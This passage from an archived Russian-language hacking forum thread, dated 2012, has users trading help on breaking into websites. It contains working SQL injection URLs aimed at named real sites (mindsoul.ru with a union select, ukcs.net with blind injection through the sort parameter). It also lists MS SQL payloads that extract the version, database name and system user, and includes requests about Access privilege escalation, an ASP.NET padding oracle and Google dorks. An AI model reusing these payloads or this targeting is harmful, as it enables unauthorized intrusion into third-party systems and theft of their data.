HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #20791  
Старый 06.06.2012, 23:06
Melfis
Guest
Сообщений: n/a
Провел на форуме:
195266

Репутация: 53
По умолчанию

Цитата:
Сообщение от qaz  
qaz said:
http://www.mindsoul.ru/index.php?id=628
хелп, чёт ничего не выводит
http://www.mindsoul.ru/index.php?id=-628)union select(concat_ws(0x3a,'',user()))+--+
 
Ответить с цитированием

  #20792  
Старый 07.06.2012, 13:43
qaz
Guest
Сообщений: n/a
Провел на форуме:
344922

Репутация: 75
По умолчанию

http://www.ukcs.net/statsd/stats.php?q=players&page=6&sort=kpm&dir=asc

help
 
Ответить с цитированием

  #20793  
Старый 07.06.2012, 15:04
Melfis
Guest
Сообщений: n/a
Провел на форуме:
195266

Репутация: 53
По умолчанию

Цитата:
Сообщение от qaz  
qaz said:
http://www.ukcs.net/statsd/stats.php?q=players&page=6&sort=kpm&dir=asc
help
Код:
Code:
http://www.ukcs.net/statsd/stats.php?q=players&page=6&sort=rand(if(ascii(substr(version(),1,1))=53,1,0))&dir=asc
5+
 
Ответить с цитированием

  #20794  
Старый 07.06.2012, 16:55
lucky_dom
Guest
Сообщений: n/a
Провел на форуме:
1296

Репутация: 0
По умолчанию

вопрос по microsoft acces:

нашел полЯ с выводом

теперь если можно примером:

1.как узнать юзера,базу и т.д.

2.как повысить привелегии на

чтение системных таблиц и для иСПОЛЬЗОВАНИЯ

стандартного шелла

спецы помогите!
 
Ответить с цитированием

  #20795  
Старый 07.06.2012, 21:25
kingbeef
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640

Репутация: 0
По умолчанию

Цитата:
Сообщение от lucky_dom  
lucky_dom said:
вопрос по microsoft acces:
нашел полЯ с выводом
теперь если можно примером:
1.как узнать юзера,базу и т.д.
2.как повысить привелегии на
чтение системных таблиц и для иСПОЛЬЗОВАНИЯ
стандартного шелла
спецы помогите!
Ты в слове "иСПОЛЬЗОВАНИЯ" кнопкой shift неправильно воспользовался.

1) Для того, что бы проверить, надо что-нибудь вывести, для этого используем подзапрос, и так что же мы можем вывести:

1 or 1=@@version-- - Версия

1 or 1=(select db_name())-- - Имя Базы Данных текущего юзера.

1 or 1=(select system_user)-- - Имя юзера владельца данной базой.

/thread30501.html

2)Не понятно
 
Ответить с цитированием

  #20796  
Старый 08.06.2012, 02:30
lucky_dom
Guest
Сообщений: n/a
Провел на форуме:
1296

Репутация: 0
По умолчанию

По пункту 2 читал оф. Документацию

office.microsoft.com/ru-ru/access-help/CH010072899.aspx

не понятно как все это дело вставлять в инъекцию
 
Ответить с цитированием

  #20797  
Старый 08.06.2012, 23:01
br00train
Guest
Сообщений: n/a
Провел на форуме:
281

Репутация: 0
По умолчанию

ASP.NET Padding Oracle Vulnerability

Здравствуйте, хотелось бы узнать, каким же образом можно использовать данную уязвимость? В общем по переходе на ссылку:

Цитата:
Сообщение от None  
site.ru/WebResource.axd?d=zt87v2JeCPKYzqUfGEffpA2
выводится сообщение:

Цитата:
Сообщение от None  
Padding is invalid and cannot be removed.
Все ссылки на самом сайте имеют расширение wbp:

Цитата:
Сообщение от None  
site.ru/link/index.wbp
Мои познания очень неглубоки, так что буду очень благодарен если кто нибудь сможет мне разжевать данную информацию.

Заранее всем большое спасибо...
 
Ответить с цитированием

  #20798  
Старый 09.06.2012, 11:53
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937

Репутация: 0
По умолчанию

 
Ответить с цитированием

  #20799  
Старый 09.06.2012, 12:22
Try
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: -1
По умолчанию

Народ, где взять дорки для Гугла?
 
Ответить с цитированием

  #20800  
Старый 09.06.2012, 13:10
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937

Репутация: 0
По умолчанию

 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ